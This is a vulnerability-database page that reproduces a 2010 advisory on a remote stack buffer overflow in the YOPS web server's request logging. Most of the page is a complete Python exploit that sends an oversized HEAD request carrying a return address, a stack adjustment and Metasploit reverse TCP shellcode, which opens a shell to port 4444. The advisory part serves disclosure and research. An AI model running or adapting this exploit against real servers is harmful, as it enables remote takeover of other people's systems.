Lucene search
K

YOPS Remote Command Execution

🗓️ 11 Sep 2010 00:00:00Reported by ipaxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

YOPS Remote Command Execution vulnerability in YOPS 2009-11-30. Malformed buffer in HTTP command allows remote command execution

Code
`[DCA-00015]  
  
[Software]  
  
- YOPS (Your Open Personal [WEB] Server)  
  
[Vendor Product Description]  
  
- YOPS (Your Own Personal [WEB] Server) is a small SEDA-like HTTP  
server for Linux OS written in C. There are 7 stages (accept, parse,  
launch, fetch, error, send and log), and pipes are used as interstage  
channels.  
  
[Bug Description]  
  
- In function http_parse_request_header the application fails to do a  
boundary check for a malformed buffer received as a HTTP command  
(HEAD/GET/POST), prior to use it as input for logger variable at  
swebs_record_log function.  
  
--- http.c snippet ---  
int http_parse_request_header(char *data, struct http_request_header *h)  
{  
int r;  
int ver, rev;  
char *s, *tok, *l, *prm;  
[...]  
r = sscanf(h->http, " HTTP/%d.%d ", &ver, &rev);  
if (r != 2)  
return -400;  
[...]  
}  
--- END snippet ---  
  
--- swebs.c snippet ---  
int swebs_record_log(int log, JOB *job)  
{  
int err;  
time_t now;  
char timestr[32];  
char logrec[MAX_REQUEST_LINE_LEN + 1];  
[...]  
sprintf (  
logrec,  
"%s\t[%s]\t\"%s\"\t(%d+%d/%d)\t%d",  
job->client,  
timestr,  
job->hdr.request_line,  
job->response_hlen,  
job->response_blen_sent,  
job->response_blen,  
job->status  
);  
[...]  
}  
--- END snippet ---  
  
[History]  
  
- Advisory sent to vendor on 08/26/2010  
  
[Impact]  
  
- High (Remote Command Execution)  
  
[Affected Version]  
  
- YOPS 2009-11-30  
  
- Prior versions may also be vulnerable  
  
[Code]  
  
#!/usr/bin/python  
# Software:  
# YOPS (Your Own Personal [WEB] Server) is a small SEDA-like HTTP  
server for Linux OS written in C.  
# URL: http://sourceforge.net/projects/yops2009/  
#  
# Vulnerability: Rodrigo Escobar aka ipax @ DcLabs  
# Exploit: Flavio do Carmo Junior aka waKKu @ DcLabs  
# Contact: waKKu <AT> dclabs <DOT> com <DOT> br  
  
HOST = "localhost"  
PORT = 8888  
  
import socket  
import sys  
import time  
  
try:  
BUFF_LEN = int(sys.argv[1])  
except:  
BUFF_LEN = 802  
FIXUP_ADDR = "\x47\xce\x04\x08"  
  
shellcode = (  
# MetaSploit Reverse TCP Shell. Host: 127.0.0.1 - Port: 4444  
"\x33\xc9\xb1\x13\xbe\xae\x88\x55\xcb\xda\xcd\xd9\x74\x24\xf4"  
"\x5f\x31\x77\x0e\x03\x77\x0e\x83\x69\x8c\xb7\x3e\x44\x56\xc0"  
"\x22\xf5\x2b\x7c\xcf\xfb\x22\x63\xbf\x9d\xf9\xe4\x9b\x3f\x6a"  
"\x9a\x1b\xbf\x6b\x02\x74\xae\x37\xac\xd7\xba\xd7\x61\x88\xb3"  
"\x39\xc2\x42\xa5\xe1\x08\x12\x70\x95\x4a\xa3\xbd\x54\xec\x8d"  
"\xb8\x9f\xbd\x65\x15\x4f\x4d\x1e\x01\xa0\xd3\xb7\xbf\x37\xf0"  
"\x18\x6c\xc1\x16\x28\x99\x1c\x58\x43"  
)  
  
  
buffer = "HEAD "  
buffer += "A"*BUFF_LEN  
buffer += FIXUP_ADDR*4  
buffer += " HTTP/1.1"  
  
stackadjust = (  
"\xcb" # instruction alignment  
"\xbc\x69\x69\x96\xb0" # Stack Adjustment  
)  
  
payload = buffer + stackadjust + shellcode + "\r\n\r\n"  
  
print """  
######################################  
### DcLabs Security Research Group ###  
### +Exploit+ ###  
######################################  
Software: YOPS 2009 - Web Server  
---  
Vulnerability by: ipax  
Exploit by: waKKu  
Greetings to: All DcLabs members  
"""  
  
print " [+] Using BUFF_LEN -> ", str(BUFF_LEN)  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
print " [+] Trying to establish connection..."  
s.connect((HOST, PORT))  
print " [+] Sending a dummy request to initialize data..."  
s.send("HEAD DcLabs HTTP/1.1\r\n\r\n")  
try:  
s.recv(1024)  
except:  
pass  
s.close()  
  
time.sleep(3)  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((HOST, PORT))  
print " [+] Sending our malicious payload..."  
s.send(payload)  
print " [+] Payload sent, good luck!"  
s.close()  
  
  
--   
Rodrigo Escobar (ipax)  
Pentester/Researcher Security Team @ DcLabs  
http://www.dclabs.com.br  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Sep 2010 00:00Current
7.4High risk
Vulners AI Score7.4
18